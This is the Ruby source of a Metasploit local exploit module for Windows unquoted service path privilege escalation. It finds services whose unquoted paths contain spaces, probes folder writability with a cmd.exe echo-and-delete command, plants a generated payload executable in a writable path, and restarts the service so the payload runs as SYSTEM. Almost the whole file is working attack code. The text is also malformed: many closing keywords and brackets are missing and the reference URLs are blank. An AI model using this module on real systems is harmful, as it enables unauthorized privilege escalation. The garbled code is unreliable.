# This module requires Metasploit:
# Current source:

require 'msf/core/exploit/exe'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Windows::Services
  include Msf::Exploit::Deprecated
  moved_from 'exploits/windows/local/trusted_service_path'

  def initialize(info={})
    super( update_info( info,
      'Name'           => 'Windows Unquoted Service Path Privilege Escalation',
      'Description'    => %q{
        This module exploits a logic flaw due to how the lpApplicationName parameter
        is handled.  When the lpApplicationName contains a space, the file name is
        ambiguous.  Take this file path as example: C:\program files\hello.exe;
        The Windows API will try to interpret this as two possible paths:
        C:\program.exe, and C:\program files\hello.exe, and then execute all of them.
        To some software developers, this is an unexpected behavior, which becomes a
        security problem if an attacker is able to place a malicious executable in one
        of these unexpected paths, sometimes escalate privileges if run as SYSTEM.
        Some software such as OpenVPN 2.1.1, OpenSSH Server 5, and others have the
        same problem.

        The offensive technique is also described in Writing Secure Code (2nd Edition),
        Chapter 23, in the section "Calling Processes Security" on page 676.

        This technique was previously called Trusted Service Path, but is more commonly
        known as Unquoted Service Path.

        The service exploited won't start until the payload written to disk is removed.
        Manual cleanup is required.
      'References'     =>
          ['URL', ''],
          ['URL', ''],  #pg 676
          ['URL', '']
      'DisclosureDate' => "Oct 25 2001",
      'License'        => MSF_LICENSE,
      'Author'         =>
          'sinn3r', #msf module
          'h00die'  #improvements
      'Platform'       => [ 'win'],
      'Targets'        => [ ['Windows', {}] ],
      'SessionTypes'   => [ "meterpreter" ],
      'DefaultTarget'  => 0,
      'Notes'          =>
          'Stability'   => [ CRASH_SERVICE_DOWN ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
          'Reliability' => [ REPEATABLE_SESSION, ],
    register_options(['QUICK', [ false, 'Stop at first vulnerable service found', true])

  def check
    services = enum_vuln_services(datastore['QUICK'])
    if services.empty?
      return CheckCode::Safe
    services.each do |svrs|
      fpath = svrs[1].split(' ')[0...-1] # cut off the .exe last portion
      unless generate_folders(fpath, datastore['QUICK']).empty?
        # Found service is running system with writable path
        return CheckCode::Vulnerable

  # this function uses a loop to go from the longest potential path (most likely with write access), to shortest.
  # >> fpath = 'C:\\Program Files\\A Subfolder\\B Subfolder\\C Subfolder\\SomeExecutable.exe'
  # >> fpath = fpath.split(' ')[0...-1]
  # >> fpath.reverse.each { |x| puts fpath[0..fpath.index(x)].join(' ')}
  # C:\Program Files\A Subfolder\B Subfolder\C
  # C:\Program Files\A Subfolder\B
  # C:\Program Files\A
  # C:\Program

  def generate_folders(fpath, quick)
    potential_paths = []
    fpath.reverse.each do |x|
      path = fpath[0..fpath.index(x)].join(' ')
      path_no_file = path.split('\\')[0...-1].join('\\')
      vprint_status("Checking writability to: #{path_no_file}")
      # when we test writability, we drop off last part since thats the file name
      unless writable?(path_no_file)
        vprint_error("Path not writable")
      vprint_good("Path is writable")
      # include file name for the path
      potential_paths << path
      return potential_paths if quick

  def enum_vuln_services(quick=false)
    vuln_services = []

    each_service do |service|
      info = service_info(service[:name])

      # Sometimes there's a null byte at the end of the string,
      # and that can break the regex -- annoying.
      if info[:path]
        cmd = info[:path].strip

        # Check path:
        # - Filter out paths that begin with a quote
        # - Filter out paths that don't have a space
        next if cmd !~ /^[a-z]\:.+\.exe$/i
        next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)

        vprint_good("Found vulnerable service: #{service[:name]} - #{cmd} (#{info[:startname]})")
        vuln_services << [service[:name], cmd]

        # This process can be pretty damn slow.
        # Allow the user to just find one, and get the hell out.
        break if not vuln_services.empty? and quick


  # overwrite the writable? included in file.rb addon since it can't do windows.
  def writable?(path)
    words = Rex::Text.rand_text_alphanumeric(9)
      # path needs to have double, not single quotes
      c= %Q(cmd.exe /C echo '#{words}' >> "#{f}" && type "#{f}" && del "#{f}")
      cmd_exec(c).to_s.include? words
    rescue Rex::Post::Meterpreter::RequestError => e

  def exploit
    # Exploit the first service found
    print_status("Finding a vulnerable service...")
    svrs_list = enum_vuln_services(datastore['QUICK'])

    fail_with(Failure::NotVulnerable, "No service found with trusted path issues") if svrs_list.empty?

    svrs_list.each do |svrs|
      print_status("Attempting exploitation of #{svrs[0]}")
      svr_name = svrs[0]
      fpath    = svrs[1]
      fpath = fpath.split(' ')[0...-1] # cut off the .exe last portion
      vprint_status('Enumerating vulnerable paths')
      potential_paths = generate_folders fpath, datastore['QUICK']

      # Drop the malicious executable into the path
      potential_paths.each do |path|
        exe_path = "#{path}.exe"
        print_status("Placing #{exe_path} for #{svr_name}")
        exe = generate_payload_exe_service({:servicename=>svr_name})
        print_status("Attempting to write #{exe.length.to_s} bytes to #{exe_path}...")
        write_file(exe_path, exe)
        print_good("Manual cleanup of #{exe_path} is required due to a potential reboot for exploitation.")
        print_good "Successfully wrote payload"
        # Run the service, let the Windows API do the rest
        print_status("Launching service #{svr_name}...")
        print_status("Manual cleanup of the payload file is required. #{svr_name} will fail to start as long as the payload remains on disk.")
        unless service_restart(svr_name)
          print_error 'Unable to restart service.  System reboot or an admin restarting the service is required.  Payload left on disk!!!'